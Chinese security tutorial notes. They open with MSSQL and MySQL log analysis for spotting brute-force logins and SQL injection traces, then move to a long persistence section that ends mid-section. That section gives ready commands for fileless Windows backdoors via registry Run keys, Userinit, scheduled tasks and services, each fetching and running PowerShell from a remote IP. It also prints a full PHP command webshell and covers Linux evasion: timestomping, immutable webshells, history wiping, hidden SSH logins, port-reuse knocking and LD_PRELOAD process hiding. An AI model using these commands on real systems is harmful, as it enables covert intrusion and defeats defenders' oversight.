目录
11.9 MSSQL日志分析(1)
- 常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
11.9.1 MSSQL日志分析
- 首先,MSSQL数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户登录进行审核。
- 登录到SQL Server Management Studio,依次点击管理--SQL Server 日志
- 双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。
- 另外,MSSQ提供了一个工具SQL Server Profiler ,方便查找和发现SQL执行的效率和语句问题。
日志分析例子:
- 在日志文件查看器中,选择筛选,在筛选设置中源设置为“登录”,应用筛选器,确定。
- 筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远程登录时用户使用的IP地址。
- 如下:客户端:192.168.204.1进行尝试弱口令登录,并发现其中有一条登录成功的记录。
11.9.2 SQL注入入侵痕迹
- 在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
- 1、构造一个SQL注入点,开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.asp?id=1 --os-shell --proxy=http://127.0.0.1:8080`
- HTTP通讯过程:
创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。
tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>
- 创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、检查网站目录下,是否存在一些木马文件:
2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
mysql\lib\plugin c:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3、结合web日志分析。
- 通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过sql注入漏洞攻击事件。
- 检查方法:
- 1、数据库表检查
- 2、检查xp_cmdshell等存储过程
- xp_cmdshell在mssql2005之后的版本中是默认禁止的,查看xp_cmdshell是否被启用。
Exec master.dbo.xp_cmdshell 'whoami'
- 3、通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过sql注入漏洞攻击事件。
11.10 MySQL日志分析(2)
- 常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
11.10.1 Mysql日志分析
- general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息 show variables like '%general%'; 2、开启日志 SET GLOBAL general_log = 'On'; 3、指定日志文件路径 #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
- 比如,当我访问 /test.php?id=1,此时我们得到这样的日志:
190604 14:46:14 14 Connect root@localhost on 14 Init DB test 14 Query SELECT * FROM admin WHERE id = 1 14 Quit `
- 我们按列来解析一下:
第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟, 有一些不显示的原因是因为这些sql语句几乎是同时执行的, 所以就不另外记录时间了。 第二列:Id,就是show processlist出来的第一列的线程ID, 对于长连接和一些比较耗时的sql语句, 你可以精确找出究竟是那一条那一个线程在运行。 第三列:Command,操作类型,比如Connect就是连接数据库, Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。 第四列:Argument,详细信息, 例如 Connect root@localhost on 意思就是连接数据库, 如此类推,接下面的连上数据库之后,做了什么查询的操作。
11.10.2 登录成功/失败
- 我们来做个简单的测试吧,使用我的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。
- MySQL中的log记录是这样子:
Time Id Command Argument 190601 22:03:20 98 Connect root@192.168.204.1 on 98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 103 Connect mysql@192.168.204.1 on 103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 104 Connect mysql@192.168.204.1 on 104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Connect root@192.168.204.1 on 101 Connect root@192.168.204.1 on 101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 99 Connect root@192.168.204.1 on 99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 105 Connect mysql@192.168.204.1 on 105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Query set autocommit=0 102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Quit `
- 你知道在这个口令猜解过程中,哪个是成功的吗?
- 利用爆破工具,一个口令猜解成功的记录是这样子的:
190601 22:03:20 100 Connect root@192.168.204.1 on 100 Query set autocommit=0 100 Quit
- 但是,如果你是用其他方式,可能会有一点点不一样的哦。
Navicat for MySQL登录:
190601 22:14:07 106 Connect root@192.168.204.1 on 106 Query SET NAMES utf8 106 Query SHOW VARIABLES LIKE 'lower_case_%' 106 Query SHOW VARIABLES LIKE 'profiling' 106 Query SHOW DATABASES
命令行登录:
190601 22:17:25 111 Connect root@localhost on 111 Query select @@version_comment limit 1 190601 22:17:56 111 Quit
- 这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
- 另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。
登录失败的记录:
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
利用shell命令进行简单的分析:
#有哪些IP在爆破? grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1 #爆破用户名字典都有哪些? grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr 13 mysql 12 root 1 root 1 mysql
- 在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表:
SELECT * from mysql.user、SELECT * from mysql.func
权限维持篇
11.11 Windows权限维持---后门篇
- 关键词:Windows系统后门、权限维持
- 在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
11.11.1 注册表自启动
- 通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键:
# Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 类似的还有很多,关键词:注册表启动键值。
使用以下命令可以一键实现无文件注册表后门:不落地
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run // 向注册表添加一个新的启动项 /v "Keyname" // 注册表项的名称为 "Keyname" /t REG_SZ // 注册表值的数据类型为字符串 /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" // 设置启动时运行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行) /f // 强制执行操作,即使项已存在也会覆盖
Logon Scripts 后门
- 注册表路径:
HKEY_CURRENT_USER\Environment\
- 创建字符串键值:
UserInitMprLogonScript
- ,键值设置为bat的绝对路径:
c:\test.bat
userinit后门
- 在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。
- 利用USERINIT注册表键实现无文件后门:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
11.11.2 组策略设置脚本启动
- 运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
- 容易遇到的问题:脚本需全路径,如
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
11.11.3 计划任务
- 通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
- 使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\"" schtasks /create // 创建一个新的计划任务 /sc minute // 设定任务的调度频率为每分钟 /mo 1 // 任务间隔为每分钟一次 /tn "Security Script" // 设置任务名称为 "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\"" // 指定任务要执行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行)
- 容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
- 计划脚本每 1 分钟运行一次。
11.11.4 服务自启动
- 通过服务设置自启动,结合powershell实现无文件后门。
- 使用以下命令可实现:
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/T5uEhVubWqF'))\"" sc description KeyName "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启动 net start Name //启动服务
- 成功创建了一个自启动服务
11.11.5 WMI后门
- 在几年之前的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
Import-Module .\Persistence\Persistence.psm1 //导入 Persistence.psm1 模块,该模块提供了配置持久化任务所需的函数。 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' //创建一个名为 $ElevatedOptions 的变量,用于存储提升权限的持久化选项。设置为通过 WMI(Windows Management Instrumentation)机制永久性地每天在下午 3 点执行。 $UserOptions = New-UserPersistenceOption -Registry -AtLogon //创建一个名为 $UserOptions 的变量,用于存储用户级的持久化选项。设置为在每次用户登录时通过注册表机制执行。 Add-Persistence -FilePath .\web.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose //调用 Add-Persistence 函数,将 web.ps1 脚本文件配置为具有提升权限的持久化选项(每天 3 点通过 WMI 运行)和用户级持久化选项(每次用户登录时通过注册表运行)。-Verbose 参数用于输出详细的执行过程信息。
11.11.6 dll劫持
- 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
- 比较常用的如LPK.dll的劫持:
- win7及win7以上系统增加了KnownDLLs保护,需要在注册表下添加 “lpk.dll” 才能顺利劫持: :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
11.11.7 COM劫持
- 利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。
11.11.8 远程控制
- 远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。
- 一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。
11.12 Linux
11.12.1 前言
- 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。
11.12.2 隐藏文件
- Linux 下创建一个隐藏文件:
touch .test.txt
- touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件
- 一般的Linux下的隐藏目录使用命令
ls -l
是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
- 我们可以观察在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如
/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
11.12.3 隐藏文件时间戳
- Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
- 比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
- 利用方法
touch -r index.php webshell.php
- 或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
11.12.4 隐藏权限
- 在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
- 这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多师傅感到头疼。
chattr +i evil.php 锁定文件 lsattr evil.php 属性查看 chattr -i evil.php 解除锁定 rm -rf 1.evil.php 删除文件
11.12.5 隐藏历史操作命令
- 在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
[space]set +o history 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
- 上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
- 要重新开启历史功能,执行下面的命令:
[Space]set -o history 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
技巧二:从历史记录中删除指定的命令
- 假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
- 输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
- 这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
11.12.6 隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@127.0.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
11.12.7 端口复用
- 通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
第一种方式:通过SSLH在同一端口上共享SSH与HTTPS
#安装SSLH sudo apt-get install sslh #配置SSLH 编辑 SSLH 配置文件: sudo vi /etc/default/sslh 1、找到下列行:Run=no 将其修改为:Run=yes 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
第二种方式:利用IPTables进行端口复用
# 端口复用链【在 nat 表中创建一个名为 LETMEIN 的新链(chain)。nat 表用于处理网络地址转换(NAT)相关的规则。】 iptables -t nat -N LETMEIN # 端口复用规则【在 LETMEIN 链中添加一条规则,将所有进入 LETMEIN 链的 TCP 流量重定向到端口 22。端口 22 通常用于 SSH 服务。】 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathuntercoming' 的 TCP 数据包。使用 recent 模块来跟踪这些数据包,并将它们标记为 letmein。这些匹配的包会被接受。】 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathunterleaving' 的 TCP 数据包。使用 recent 模块来移除之前标记为 letmein 的记录。这些匹配的包也会被接受。】 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
- 利用方式
#开启复用 echo threathuntercoming | socat - tcp:192.168.28.128:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.28.128 #关闭复用 echo threathunterleaving | socat - tcp:192.168.28.128:80
- 具体文章详见:远程遥控 IPTables 进行端口复用
11.12.8 进程隐藏
- 管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
第一种方法:libprocesshider
- github项目地址
- 利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
# 下载程序编译 git clone https://github.com/gianlucaborello/libprocesshider.git cd libprocesshider/ && make # 移动文件到/usr/local/lib/目录下 cp libprocesshider.so /usr/local/lib/ # 把它加载到全局动态连接局 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
- 测试:运行 evil_script.py,
- 此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
如何在Linux中发现隐藏的进程,
unhide
是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。- 下载地址:Unhide homepage - Welcome
# 安装 sudo yum install unhide # 使用 unhide [options] test_list
- 使用
unhide proc
发现隐藏进程evil_script.py第二种方法:进程注入工具linux-inject
- linux-inject是用于将共享对象注入Linux进程的工具
- github项目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process
# 下载程序编译 git clone https://github.com/gaffe23/linux-inject.git cd linux-inject && make # 测试进程 ./sample-target # 进程注入 ./inject -n sample-target sample-library.so
- 验证进程注入成功
Cymothoa——一款隐秘的后门工具。
- 它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。
- 下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
# 下载解压 wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz tar zxvf cymothoa-1-beta.tar.gz # cd cymothoa-1-beta && make
...